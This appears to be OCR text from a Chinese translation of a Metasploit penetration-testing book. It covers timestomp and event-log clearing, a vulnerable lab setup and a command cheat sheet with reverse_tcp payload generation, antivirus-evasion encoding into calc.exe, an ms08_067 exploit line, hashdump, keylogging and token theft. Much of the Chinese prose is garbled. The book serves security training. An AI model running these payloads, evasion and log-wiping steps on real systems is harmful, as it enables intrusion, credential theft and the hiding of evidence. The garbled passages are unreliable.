-b
-C
-e
-f
-h
=m

<opt>
<opt>
<opt>

<opt>

<opt>

i =g =)
TH IR T

BURIUIR TAR 2 Ab, #og s, L, ST IERHE, CEE
BHEARTE L—1MEH.
FATE —REHEENLZE

set the "last accessed” time of the file

Set the MACE timestamps so that EnCase shows blanks
Set the "creation" time of the file

Set the "mft entry modified" time of the file

Set the MACE of attributes equal to the supplied file
Help banner

Set the "last written" time of the file

Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file

Set all four attributes (MACE) of the file

meterpreter > timestomp C:\\boot.ini -b
[*] Blanking file MACE attributes on C:\boot.ini

meterpreter >

7 LRGIF b, BAMES T I [0 R, 615 249 BCUE 2097 & 48 A AN ALAT 9 IIE 4 47 T K Encase

ﬂ‘j )

e IS S0 CERT I Kl =

M event_manager T RIMXBESHMAOEK, FEEMNIATERWLET 2R BB ERE

EER RS

meterpreter > run event_manager
Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:

-c <opt>
-f <opt>
-h
-i
-1
-P
-5

Help menu
<opt>

<opt>
save logs

Clear a given Event Log (or ALL if no argument specified)
Event ID to filter events on

Show information about Event Logs on the System and their configuration

List a given Event Log.

Supress printing filtered logs to screen

Save logs to local (SV file, optionally specify alternate folder in which to

meterpreter » run event_manager -c
[-] You must specify an eventlog to query!

*

Application:
Clearing Application

»*

]
]
]

#*

MailCarrier 2.0:
(learing MailCarrier

* W W

]
]
]
*]
]
*]
*]
*]

Security:
Clearing Security

*

System:
Clearing System

) P — p— e — — — — —

2.0

Event Log Security Cleared!

[*] Event Log System Cleared!

meterpreter >

Event Log Application Cleared!

Event Log MailCarrier 2.0 Cleared!

%224 W WwW.176K u.CoM
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 2 iE X5/

e Ll 7o, BAWER T A MEMAE, EREMTE TRESEEE BiRS LR
HEBROIN, NSRRI BERRE. REEEFHEN, WE NGRS TE Aok
ik P ) AR R AL A — A2 T 35 H 78 U5 O B0 BOR, (H R AL il R A - L RRE R 3

O EAR T ORARX B AR RS T LB o, XA (B AR AT LUSE A 5 H R R 1R B B
WHE, WRERSTEERRSG LW TSk TR, X4 ik 3ms BATGE 4047 B BA B9 T4 4F
WM, S RATTHEERRRIR

17.10 /&

BIIAE, FATATLAGRLEE Metasploit F1 Meterpreter SR B i SEM 5 2 1) FoAb EHL, MR
BRI FRATMBE N RGeS . MBRXRE —NHERE ML, RBATTUEREMSE S ZEDARRE
L RTER BIME BOR BT — BB BAR

kiR, EXFEPRINCEBE T —6 Windows FHLRSE, HATTLI{ER Meterpreter
“im N HAR RS LI 04 hash , HFHXEO4SE BR 2R 54k Windows FHLEET
WiE. fE—48WIFsEt, AMEHNKSEEESR RS LE—H8, FURIMATCIERAMN
—HARG EERINGER, BRUES S REMWHFR. BENRTEFGES A RHRB 405
BTN RS, @b RN SR RAGER, KRAEEXRE, FEERL
B BTN MR

BAVEASERFAT — A%, B “&FERERTL”, WEBEAFEARZ AR KIS
BEHANBEFRS, RS2 EHZRANEN, XRERA RIS LR I &5
HRAMNEN. BREFEIREES NN —& HEREB SRR SR T .

ERBENAER b, o -SEARTE BN UREZMERTEGR, BELE
R R EANT G ST E . BB 2 E S REENR S #H A AT TSI

SEE TR, HSIABGE RGN —FF R R, | B LR p B AR, X
PAAEARATTAL T AW 20 M LA APRE . MAVE IR, S IR7E XS B8 85 i)
AIME—MAEBE R “SCBR. SEER. FSERR”.
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

e
BE IS

FMEA Metasploit FERMIBIFINEARRLR: ER--MESE, HEKRTLEMRTRER
SERH . AMIFUE T EFFRCE —MINRARSE, XEBREFHRBTF.

Al REEERS

A FHRRA DL S AT Back/Track. Ubuntu 9.04. Metasploitable #1 Windows XP.
Back|Track #H24 T®RAAIEGEHL, i Ubuntu F1 Windows R4 E R B AREHL.

BRI FTEMAN T # Windows XP SP2 &Y (IFF&E: HMHAIER, 58P
KOS BRRFE 20, HRMRAEBFERFF. Back|Track F Ubuntu 9.04 BERIHLEEIZIT I —
8%¥ T Windows. Mac OS X EX Linux #{ERZ EN LR VMware =2 L, 85
Workstation, Server. Player. Fusion 8§ ESX.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% it 15 8

R A 4k44 Ubuntu #= Windows XP & #L, B ik &k & 4 JL A7 55 851 BLARE 54008
FHE, FEAZEE P EAETEEGITA: REET NS ELERS, EFTH
o AALRE.

W SRR B % 2 #) Windows I Linux fRAI] VMware Player, if T8Il R RME
Fif2 Mac OS X, i F# VMware Fusion £ 30 K% 31X (WRHRIEFEZST Windows, i
AT LL{#E B VMware Server H4: 2 hi. )

TE L%l VMware Z J7, Mili.vmx S FFIREM, 2(#F @il VMware Player T TFRERIHL L
4, %% File->Open Jf HAG MG E T Fr ERMLFSCEC SO SO . an SRR ISO BE R &
BH), GUE-—AMFRERNL R E XA 1ISO XA CD-ROM # & .

$B: ARFTEAM http://www.backtrack-linux.org/ F # Back|Track, 4 http://www.vmware.
com/appliances/directory/ 7 & 4% -§ Ubuntu 9.04 5+ F #. Metasploitable /£ http://blog.metasploit.
com/2010/05/introducing-metasploitable.html F #.

A2 2|2 Linux &8

ERIMEM A Linux BRNZ)JG, RTHEEFHR. Linux H8 FERARZRF 4 root &
4 toor.

W RYREI M 28 H 30 4T DHCP R %5 4%, SRR RZERMAEFE I EA T ma &b fad. (H
W — A2 AL PE ARG TP Haht, H AREBAMEEORMRKESHAN. ZETHRELZF LM
KWE, WM htp:/mww.yolinux.com/TUTORIALS/Linux TutorialNetworking. html . )

root@bt:~# nano /etc/network/interfaces

Password:

<inside the nano editor place your valid information into the system»

# The primary network interface

auto etho # the interface used

iface etho inet static # configure static IP address
address 192.168.1.10 # your IP address you want
netmask 255.255.255.0 # your subnet mask
network 192.168.1.0 # your network address
broadcast 192.168.0.255 # your broadcast address
gateway 192,168.1.1 # your default gateway

<control-x»

<>

FCESERZ )G, #RE) Linux CERDMER T . AEEHIRE Ubuntu R, BHABRRFERSA
RA R
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BTt T ARUETAEE RN 2 S 2, AT AN 2 Ath F sk B 94T A4, 75 N 24 147 1) S B BUR R SRR B AT o z!xﬁg%lﬁﬁa\i%ﬂﬂ
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Mk A EEBHRIR

A3 ZEAFREFAT Windows XP

A TBITABPRIGF, REELE A CHEFAK Windows XP 5 #2241 VMware
A6 b RHSEM2 G, UL Administrator 3% 34T FF Control Panel, $)#:%) Classic View,
RJGIEFE Windows Firewall. &+ Off ¥ fidi OK. (XM HRERRIFAIEL, HEREALAT
IR R R AR )

F—2#, 17T Automatic Updates Jf H#%#¥ Turn off Automatic Updates; R/ s OK $44i.
APRIEAEE ) EHEX Windows BATSB XN, RASAEAEIT L4 T.

LA L Network Connections 45 I HIR 44 R (1 R 40T — N84 1P Hohk. X240,
{ERIZ P AT ARA I 48 Y2 IB B I 30 B B A 25 E bR i Mk

A.3.1 & Windows XP L& {/R &4 71 BR % 28

AT EFEER®E, JFHRE DN EROBEEE, RO RE— B RS .

1. fEHHIHRS, %+ Add or Remove Programs, #RJ5%# Add/Remove Windows
Components. M 1%% & 3| Windows Components Wizard.

2. M%&#% Internet Information Services (IIS)A) 5 36 HE 3 H. 57 Details. #R/5 % 4F File Transfer
Protocol (FTP) Service [ R EHEH Tt OK 4441« LB @19, FTP FRSSBRIAE R VFIE & i 1] o

3. i&# Management and Monitoring Tools & ¥EHE 3 H i OK 4. BB T, %%
R 8 B R Ep I (SNMP) F1 Windows Management Interface (WMI) SNMP Provider.

4. siili Next SHISER %, BIFERHLIE.

A RES BN RIRS, BREEBPREAR. US REBAFHRET MW, b
1E http://www.secmaniac.com/files/nostarchl.zip F#. FTP R4 S5BI4F % Windows FTP 9%,
H H SNMP AcE K £ A VFHRIR Metasploit 7§ [ 45 Bh ki ,

A3.2 37 SQL BR% S

Metasploit 1 Fast-Track * FI¥F £ S0 PEMEHUR LA Microsoft SQL Server 3% B4R, 7 LR
i B 9% SQL Server 2005 Express, 1] LLM Microsoft #2873, A —FE, RerLleE
http://www.microsoft.com/f3 B RIT IR 45 4h TR A SQL Server Express. 4T %$ SQL Server
Express, % %% Windows Installer 3.1 F.NET Framework 2.0. #REEZE LU F R b8 34 71 5
HBREREE, URABHIHLAS %K URL: http://www.secmaniac.com/files/nostarchl.zip.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&i&E Rk 5/

B T 2B M E&ME, 1T SQL Express installer 333 B4 (9 B IAGE T ER T
Authentication Mode. £+ Mixed Mode, RE — sa {EM 04 password123, I HEkEE %%,

SQL Server AR TMZIT, RFEN KA — L/ S B R IREI M LS.

1. ¥E$% Start->All Programs->Microsoft SQL Server 2005->Configuration Tools, %R J5 % 4% SQL
Server Configuration Manager.

2. MRBEEMEBLSN, % SQL Server 2005 Services, H BAnfBiEHE SQL Server

(SQLEXPRESS), #%# Stop.

3. £ JT SQL Server 2005 Network Configuration Manager 3#£# Protocols for SQLEXPRESS,

ik A-1 BioR.

Tr SOL Server Contiguration Monager

Fle Action WView Heip

= 0O FREB #

45 S Server Configuration Manager (Local) Protocnl Name [ seaeus I
SQL Server 2005 Servias W™ Shared Memory Enabled
- é}: Server 2005 Network Configuration ¥ Named Pipes Disabied
T ceP Disabled
+ & SQL Mative Chent Configuration TVia Disabled

B A-1 SQLEXPRESS It

4, Xili TCPAP, FEWMYAREE, BH Enabled & Yes 3 Hi% & Listen All 24 No.

5. F--#, &FE TCP/IP BHXTIEHE, ¥E+F IP Addresses FRAEH MR IPALL FHTE&H.
7E1P1 BR 1P2 F, MBR TCP A OMEH R E R Active, Hf Enabled £ E N Yes.

6. Bk, WE IP1 19 IP Mt SR Ara B ap s IP AHILAD, &R & IP2 #uhbkX 127.0.0.1,
HFHBEENH TCP 3k 1433, RMREN ZFEERSWE A-2 FrarHEL, Mk
B¢ A st OK #4.

T—#, YRE T SQL Server W K 28RS .

1. 3%+ SQL Server 2005 Services 3F H X i SQL Server Browser.

2. TERERES, H#E Start Mode 5 Automatic.
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W2 24,

ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
TR R e P E B (WWW.17HUAN.COM)  J il % i G % Ui 181 (BBS.176ku.COM ) 145

1CPAPR Properties

B

Enabled
IP Addrass
TCF Dynamic Ports
TCF Port.
8 ip2
Actree
Enabled
1P Address
TCP Dynamic Ports
i TCP Port
8 1pal)
TCP Dynamic Ports
TCP Powt

| Active

Protocol | IP Addresses |

Yes
192.168.1.155

1433
Yes
Yes

127.0.0.1

1433

MIF A

PR E—A G,

B & B ARLER

i | Indicates whether the selected IP Address is active,

I OK J[ Carcel ! Applly

B A2 & TCP/AP J@i:xHiFHE i R SQL ARS28 IP Huht

?EJEJ

%

BOARFOL T, SQL MRS ASFEMAURMERF K S FiafT, X2 MRIFHRE. MR, &
FRAVFT TR TR EE R, EEstdett, TRALNRXREXNRE, NAh

PR A s 161 2 8 1 R R A R 7T 4 )

HERMYEFESE L, AR SQL Server Browser R % 54T 70454 L SYSTEM AL FRIBK
5 E. KEaRALL SQL Server IRF LIAHB R - B3R, XEZMA K Microsoft SQL Server
(2000 FISE FARA) MIERARCE. Bk, #REGZEMA 7, il SQL Server (SQLEXPRESS)H
#® Log on as & Local System, SR G miMiE. RSHBREAR AT SQL Server
(SQLEXPRESS)F Hi%#¥ start. %t SQL Server browser #F 1T [FIFEHIACE

85, RARE S 2 B8R 8 L dr AT IRUE TR R %5 B 7E LAE, FT @17 HIE1T 4 netstat
-ano |find "1433"fll netstat -ano |find "1434". {RZ TR E /Y IP Hulik % #E TCP %5 0 1433 1

UDP ¥ 1434 %3, WF xR

Microsoft Windows XP [Version 5.1.2600]
@ Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administratorrnetstat
© 0.0.0.0:0
0.0.0.0:0
C:\Documents and Settings\Administratorrnetstat

Tcp
Tce

127.0.0.1:1433
192,168.1.155:1433
upp 0.0.0:1434 *:¥
C:\Documents and Settings\Administrator>

-ano |find "1433"
LISTENING 512
LISTENING 512
-ano |find "1434"

224 WwW.176K u.CoM
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i %X &

A3.3 fIEHIREE Web
3} T 15 ¥ £ Metasploit ) EZ 451, LAR & Fast-Track 1 Social-Engineer Toolkit (SET)—
BRSNS TR, REEARIFY Web N2 HLRARIAEE. 5 T QUEEIEENE, & FEH <K
SQL Server Management Studio Express.
TR ERERG, HITWTHDE,
1. M Server 2005->SQL Server Start->All Programs->Microsoft SQL Management S tudio
Express AR .
2. YIRS HRUERS, #EFE Authentication T #73E B f¥) SQL Server Authentication T,
IFEMH P 4 sa FIF TS passwordl

3. TEXMEN KRS, A AT Databases 3£ ## New Database.
4, BRI AL FH . WebApp F i i e 4L
5. JEITEAEER WebApp BT FERIRE .
6. HIBUbrA 5 i Tables 8 Fi% FE New Table. $§ 8oy 4 4 users, WA A-3 FrRfr
25| 2 RER,
Table - dbo.users| Sommary B riocertes -
ColmMName Dats Type Allgws Nuls | [Tbi] dbo.users
e r—
last_name varchar(S0) = atabase K febiy
middle_r.ame varchar(S0) Descrption
p_password varchar(S0) - e Schema dbo
& A-3  users #%)
7. R¥F users &, HHABSEEE, %3 Open Table.
8. HIAMTWE A-4 PR A BB IHAR, REHRTE.
’Tdﬂc .(l:lom.:rl['lud:--cln.mcrs P Summary | * X
lussid | username Hest_name et rwms | widde_name POSINCTd e
| Fl ' admin T ki admin admin s
_I }2 smith johin smich boy passwaord
{2 tiohrson robert james johrsen 31337
v mm AL e neat pr pres

) A-4 3T users #

9. BIFxtZ i YiaE T H Security BHRE, #RJEEFT Logins.

10. 7EF P BRYEE DA% 5 i Logins JHi%+ New Login. 7FEM & O, it Search, A
ASPNET, #RJ5 riifi Check Names. Se¥ A/ AN X A BAE T, AEifiiANZHATT
AP#EE.

11. 85, MREHAFPEHEED, &5 User Mapping, EHFER#H WebApp IR HEHE, ik
#¥ db_owner fifa, JfH siili OK &4
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

iz A ECEBRHAR

Web 3 B P2 0 S HEIC IR T B2 4E SQL JR3itAT, {RFFIFIRH Management Studio. [ %
A R QR — W 3 R S R ST M BB PR AT A B b RATREE T )P IR,

1. MELTF Mk http://www.secmaniac.com/files/nostarchl.zip T #75 &i{HI Web WA, H4&
SCF N A )3 C:\Inetpub\wwwroot\ F .

2. THF KBS AR W) hup-//< 478 ip #4f>/Default.aspx. R¥G=FR— N EFEP, WE
A-5 FioR.

3. MINERK S E AR SQL B IEFBITH . WHA—LeX AR SQL ¥ AR E M T
MRIEREZTT . ERFZRERA—NR515 O), MAEA R SEEL, WY
ARSER— N SQL A R F AT E.

4. AiEHRRBFIRFLIFMA OR [=1, HHMANEMAFERFEBXE. HRELER “MR
DERINER" KIER.

MEFRCEERXAZT, RHREEHCEEREETT, RERTFHREHEAT.

B A-5 e

A4 FE#h Back|Track

4 ERTEAT T 8 4E R4 T i247 1) Back|Track M T HEF LB FARA K. 4% 5% 5| Back|Track
(root/toor) B}, Z4T FHEIMIH4:

root@bt:~# apt-get update &k apt-get upgrade 8% apt-get dist-upgrade
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% i #5

X5y K 2 EFEFTH A 21 Back|Track ¥ #7. MRAEHER R HZ SVN iF B y
B, PREZLFEFH I Back|Track. {HRRHIRAVIARTE LA Metasploit, Fast-Track. Hl SET
TR KEER.

0 root@bt:~# cd /opt/framework3/msf3/
® root@bt:/opt/framework3/msf3i# msfupdate

« « SNIP . . .
Updated to revision XXXX.
© root@bt:/opt/framework3/msf3# c¢d /pentest/exploits/set/
root@bt:/pentest/exploits/set# svn update
. SNIP . . .
Updated to revision XXXX.
® root@bt:/pentest/exploits/set# cd /pentest/exploits/fasttrack/
root@bt:/pentest/exploits/fasttrack# svn update
. SNIP . . .

At revision XXXX.
root@t:/pentest/exploits/fasttrack#

£ Back|Track H, Metasploit 7 F/opt/framework3/msf3/®, FfLAZEE T msfupdate® ¥ HiE
RV BB ZHXT .

— H. Metasploit ZLEH T, 3 HF 2 pentest/exploits/SET/@IIZAT svn update. /5,
4% H 5% 3/pentest/exploits/fasttrack/@ ¥ B §r Fast-Track.

HIIECLAEIFERH T A BRI, o AEX AR PRER TR .
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

G
mETEESIFK

EAUFJ2 Metasploit #2230 )% Fp 8 O 57 PR A G & FIELS%, LLK Meterpreter
JFEFEIAN B @43%, REN—% ‘24" GBS RKELRNIE SR,

B.1 MSF &imw%

show exploits

%I tt Metasploit fE4R i) Fr 2 B B i e
show payloads

51| tH Metasploit HEZ2 1 B 45 1O I8 oy o
show auxiliary

1| i Metasploit #EZE9 (9 Fr A7 il Bh B BB .

search name

A1k Metasploit HE4E o 5T A (98B Bl A H A stk
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

b

%

Metasploit ;8 iE X &

A

276

info

Jo i 58 12 B BUR BB R B RAE B

use name

R MEBBELGERERR (Fln: #H windows/smb.psexec).

LHOST

PRAH AT LALE H As EHUGERRS 1P fbdtk, 7 2 HAR ENAER —N RN AT, 8 =R

2L 1P bk, R R shell f# .
RHOST
R EHLEZ BN

set function

WEF eSS (W REAMSEREENSHD.
setg function

MRy AREFEMNKESE (Pl #EAMETEINSH.
show options

Pl A BB RS R T AR S 5.

show targets

FIHB B T R AR P& .

set target num

TR VR BT R Y B AR B BRAE RGELL A T AR A KA,

set payload payload

8 A M e 8 oy .

show advanced

U BT A R A E T .

set autorunscript migrate -f.

EBBYHTCRA, ¥ AshiEB R H— .

check

R H b7 R X% BB BGE AN 2 2R,

exploit

PATBE R R POk B H AR

exploit -j

E RIS T TG (R AR 6 BHT).
exploit -z

BB BT E A S RE AT .

exploit -e encoder

52 A A BE B RAD 7 X (W= exploit -¢ shikata_ga nai).
exploit -h

5t exploit fr 2 K IE 8.

sessions -1

FIH A E 2l (TEALE 4 shell B FD.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

MEXB @MeBEIIR

sessions -l -v

FI A A RS 022G VA S s I VAR B, Biltn: Bk RERAERE T A 2 2RI .
sessions -s script

1L 5 K 9 Meterpreter £ 35 18T — 4§ € [ Meterpreter 4.

sessions -K

ATEFT AR L.

sessions -c emd

FEFTAT TG BRI Meterpreter 215 LT —A i 4.

sessions -u sessionID

2% —/~ 3@ ) Win 32 shell F] Meterpreter shell.

db_create name

s A BEE IR W o T E A F B B E (Bidn: db_creat autopwn).
db_connect name

G IR E RN BUE PER B B BT BRI EEBE (n: db_connect autopwn).
db_nmap

Al nmap FF IR BAE S BIEOR B CGCRFIS 89 nmap 7%, HII0: -sT-v -P0).
db_autopwn -h

J&7R i db_autopwn iy 4> H 55 B 5 K.

db_autopwn -p -r -e

XA R BB T 10 T4AAT db_autopwn , BUEFTE RZ, HEH A RED shell.
db_destroy

i e A

db_destroy user:password@host: port/database

3 1 v 802 SR A R 5048 1

B.2 Meterpreter f§ %

help

¥T F Meterpreter 18 # 1 .

run scriptname

1Z1T Meterpreter 4%, 7E scripts/meterpreter H R T ]| & &F A EHAL.
sysinfo

FIH 2 EH RS R .

Is

FIH H R EHRI SR AR R
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit 3% Mizt & 55

use priv

BB T R, KT & Meterpreter .

ps

R B AT RERR PA B SRR T

migrate PID

BB —NEE KR ID (PID S ps a5 M Bis EHL L3RG ).
use incognito

B#& incognito Thie (FIR#ESI His VBB LEE ).
list_tokens -u

7 BB EHLAL T AR

list_tokens -g

FU i B AR AU P AT 2 R

impersonate_token DOMAIN_NAMEW\USERNAME
fRE HErEHL LR 4R

steal_token PID

W DT E R A RT 2 R AT 4 B E .

drop_token

1% LB B AR

getsystem

A A P L () KR T B R G R P BUR

shell

AR AT 4 MSRAEAT — AN ELA Shell.

execute -f cmd.exe -i

AT cmd.exe tr @ HHEITR H.

execute -f cmd.exe -i -t

BB 7T 2 R AT emd fir .

execute -f cmd.exe -i -H -t

PABT A A] F 2 R BAT emd fr4 F Rt .
rev2self

(5] 42256l B AR EALRIAISE A P KPS T .

reg command

fE BAR ENEMFEPHRATRE, G, Bk, =HASERE.
setdesktop number

U135 —AH PR GRTRE TSR 2E3R).
screenshot

Xt H A5 EHL AR ATIRAE
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HFEB ®HESENX

upload file

) H AR AL AL S0

download file

MHEBRENL T8O

keyscan_start

FEXTIFE HAR EVTF /A A id R I kE
keyscan_dump

FE8 bR ML R s A e % .
keyscan_stop

& 1EEE3 H bR E AL 4 E %
getprivs

AT % BIZREE b5 AL R AL
uictl enable keyboard/mouse

FE H AR BN SR fbR .
background

¥R 2470 /) Meterpreter shell ¥ ) J5 @847 .
hashdump
FHEFEENPHOLSEFE.

use sniffer

BRI .

sniffer_interfaces

SIS H b5 EVLITA FF A M O .
sniffer_dump interfacelD pcapname

7E A AR LML LS 3R

sniffer_start interfacelD) packet-buffer
7 H AR AL b8 X0 5 i Pl A 00 0 48 ol X BB
sniffer_stats interfacelD

ZRIW A7 S B AR P 28 4 T U G 11404 -
sniffer_stop interfacelD

Z1EREK.

add_user username password -h ip
LR EN BRI
add_group_user "Domain Admins" username -h ip

e FH PN E] B AR BN B R

clearev

EER B ENL LR R EE S,

timestomp

o R e, FlamBSCUF A RN (RBGFRZD.
reboot

S AR EHNL.
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ST AT PORMN AL A S 2 AT AN R 2 A B AT AR, A5 B 2 AT 1) SE R AR N AR ST DRIAR S8 40 W k)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit &i& it & M

B.3 MSFpayload %

msfpayload -h

MSFpayload FIFE B B

msfpayload windows/meterpreter/bind_tep O

) H B AT O B AR A

msfpayload windows/meterpreter/bind_tep O.

%\ B windows/meterpreter/bind_tep FEUHERATMACE I (FEA BrdidR e &8 2& W LIEC B HD o
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X >

payload.exe

@& 4~ Meterpreter [¥] reverse_tcp Blili# 4, P2 192.168.1.5 ) 443 3 O, K HARFT R
% 4 payload.exe ff) Windows I #UATFEIF .

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >

payload.raw

5 A AR BB, BT H R R S, 2R AR /S T MSFencode AT

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

5 LEA R EGEA, HF M C 8 shellcode.

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

5 A LL%u 4563 J7 ¥ JavaSeript 1B TR E

B.4 MSFencode 8%

msfencode -h

% i MSFencode % Bi15 B.-

msfencode -1

B AT v B G hg A% .

msfencode -t (¢, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,

loop-vbs, asp, war, macho)

BRI EMN X k.

msfencode -i payload.raw -o encoded_payload.exe -¢ x86/shikata_ga nai-c¢$§

-t exe

{# i shikata ga nai 4¢%% 88 %} payloadraw CfFifIT 5 KL, RESH 14K
encoded_payload.exe F]3C 4.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/

_countdown -¢ 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -0

multi-encoded_payload.exe

AR 2 AR R B IS B BAT .

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t ¢

il — M F BERCF ) shellcode, HH ESI #7286 [ shellcode, LI CiETHAMH.
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ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB
KU T AR, WAL BT bR R IR BRI A R R BUR A M S AR Z AL, B0 5 A0, BRI F AR B ISR IERRASRE, SRR

R

2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

MREB ®HEHETIR

B.5 MSFcli 7%

msfcli | grep exploit

B E B,

msfcli | grep exploit/windows

%t 5 Windows A8 E B iR .

msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=

windows/meterpreter/bind_tecp LPORT=443 RHOST=172.16.32.142 E

X} 172.16.32.142 Kk ms08_067_netapi BEH i, ALE T bind_tep Wi Bify, HIPELE 443
I 14T BT

B.6 Metasploit 5% 2K

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -k -0 payload.exe -e x86/shikata_ga nai -c 7 -t exe

g — AN R # 3L Meterpreter Bl 88T, [FIEF] 192.168.1.5 FHLI 443 3 11, {EH calc.exe
YERBATG T IREFF, iEBAT AT IR — BB T e BLh S AR P, 85 Bl shikata_ga_nai
Gt 3% 4w 5 5 0 BLt B ] 1T payload.exe.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

